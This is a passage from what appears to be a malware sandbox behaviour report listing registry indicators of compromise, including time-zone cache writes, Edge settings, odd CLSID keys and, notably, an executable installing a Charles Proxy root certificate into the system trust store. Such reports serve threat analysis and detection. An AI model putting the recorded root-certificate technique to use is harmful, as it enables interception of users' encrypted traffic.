Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1842 = "Russia TZ 4 Standard Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2791 = "Novosibirsk Daylight Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2452 = "Saint Pierre Standard Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2571 = "Turks and Caicos Daylight Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2142 = "Transbaikal Standard Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1501 = "Turkey Daylight Time" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1972 = "Belarus Standard Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2321 = "Sakhalin Daylight Time" powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1841 = "Russia TZ 4 Daylight Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time" powershell.exe -
Modifies registry class 64 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{EL1681II-FO1F-AN2G-81K3-DNI5R86H5R6K} rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry MicrosoftEdge.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{TV2553ZI-PZ3Y-VP7M-68Y0-MJT9X67Z6U7M} Conhost.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing MicrosoftEdge.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance Process not Found Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion\FileNames\ MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion\NextUpdateDate = "326237746" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\trust MicrosoftEdge.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{WW6060MI-ED3Y-MI7M-57W2-EJZ5M77G1X0K}\1 = "2136" svchost.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main\OperationalData = "1" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = e9bbc8f09d3ad701 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\Active = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. = 01000000e8f37dfa0a632e61ba610b58dd81d92228cdafe33ee71a6f07a5ff8db5470f2db0cb165fb1fb0c54a437f469fd475b3c1fc3e57d10e1e6cbbdb9 MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = d7697c1ca03ad701 MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$WordPress MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BingPageData\RulesFileNextUpdateDate = "325605624" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\New Windows\AllowInPrivate MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\NextUpdateDate = "326273446" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\FlipAheadCompletedVersion = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DeviceId = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\CA MicrosoftEdge.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{IY7880QH-GQ0R-SG6F-75Z5-PGQ2S76C3D6F} svchost.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3 MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url2 = "https://login.aliexpress.com/" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI\IsSignedIn = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main\OperationalData = "1" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{QJ2559JN-BF7A-LM2A-20M4-JBF9M43Q7G3S}\1 = "5808" svchost.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListDOSTime = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\DynamicCodePolicy = 00000000 MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\trust\Certificates MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\FirstRecoveryTime = 301bd569d72dd701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{QJ2559JN-BF7A-LM2A-20M4-JBF9M43Q7G3S} svchost.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\SplashScreen Process not Found Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$MediaWiki MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming\ChangeUnitGenerationNeeded = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\PrivacyAdvanced = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionHigh = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. = 01000000fd5a4289cdc1811547897f7ca63e4207d5faf53e5132578ad2476e214ed368bee5cce916160c853c89ca08c61643271752d5f64c6f66232a4801 MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites\Order = 0c0000000a000000000000000c0000000100000000000000 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\ManagerHistoryComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\LowMic MicrosoftEdge.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 filee.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e filee.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD d0gZZZtK9O.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD\Blob = 0300000001000000140000006c0ce2dd0584c47cac18839f14055f19fa270cdd2000000001000000500500003082054c30820434a0030201020206016de34cff62300d06092a864886f70d01010b05003081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a301e170d3030303130313030303030305a170d3438313231353039313533375a3081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a30820122300d06092a864886f70d01010105000382010f003082010a0282010100ae86c5043ed34d99f44fa3052ea34047a7fbbe33188b1dc2ca645ca3249e85e54b4921d4998fda6a22247c32d9087d742af3bf850803ae8c1e25faad53fb8fd823b7353d9a3ac992bf917f693826c790e53a540b120b6553508ec9585e467d310bd3ef9fb61731deb522eb78f43f824b34be36782db7a8cb162cd22247b14e4c5ae633ed66542354a59971bddc59160ecdc521b4477c93ca9e624e0af00298602300f5dc368819c3cb9f02604636888276b3a498570473b5328b0834f327c34285e333da9207e12f0edbb654c8cf11e3cc7cba17a52cd7cd42c10ae095a2e4eb9d3e3f361488243f0584af40e72d6e6e182149bfb8342384f60f12e14734258d0203010001a382017430820170300f0603551d130101ff040530030101ff3082012c06096086480186f842010d0482011d138201195468697320526f6f74206365727469666963617465207761732067656e65726174656420627920436861726c65732050726f787920666f722053534c2050726f7879696e672e20496620746869732063657274696669636174652069732070617274206f66206120636572746966696361746520636861696e2c2074686973206d65616e73207468617420796f752772652062726f7773696e67207468726f75676820436861726c65732050726f787920776974682053534c2050726f7879696e6720656e61626c656420666f72207468697320776562736974652e20506c656173652073656520687474703a2f2f636861726c657370726f78792e636f6d2f73736c20666f72206d6f726520696e666f726d6174696f6e2e300e0603551d0f0101ff040403020204301d0603551d0e04160414f8d0dc54367cf794020f8b92783a5d8a91251f9f300d06092a864886f70d01010b05000382010100662271eb9d5c744c88382de98ba37320e6312104d04273a92007a8670976d6530e6347d00bbded1319bb6754f36237596095922911e3661a70354f6ba0b797a76258be7adebb8c8dbeeed977760b80271d74b2444d92f6c1337a379b73545b251de5f8812b9625abbbfaedc15f8c6c374b9b26dd0fef035185f5899d8819e689dc6db5f0babbfd637c52b1bec80115b889faeed493d4112d744954ad3abe6607c41a4a2d657ba330ed131fa4e8c25bb28ee181dcef8da91c17bfd30a23c8eae81b152ed85ff938afc32b34ffdaffbdb72d9bb04067bfc87f579eba9637b165ea008ea7408bc8265f33c039bf60f506d245a6b53017afc8e161d70ed5b0d76576 d0gZZZtK9O.exe -
Runs ping.exe 1 TTPs 2 IoCs
pid Process 5496 PING.EXE 5508 PING.EXE -
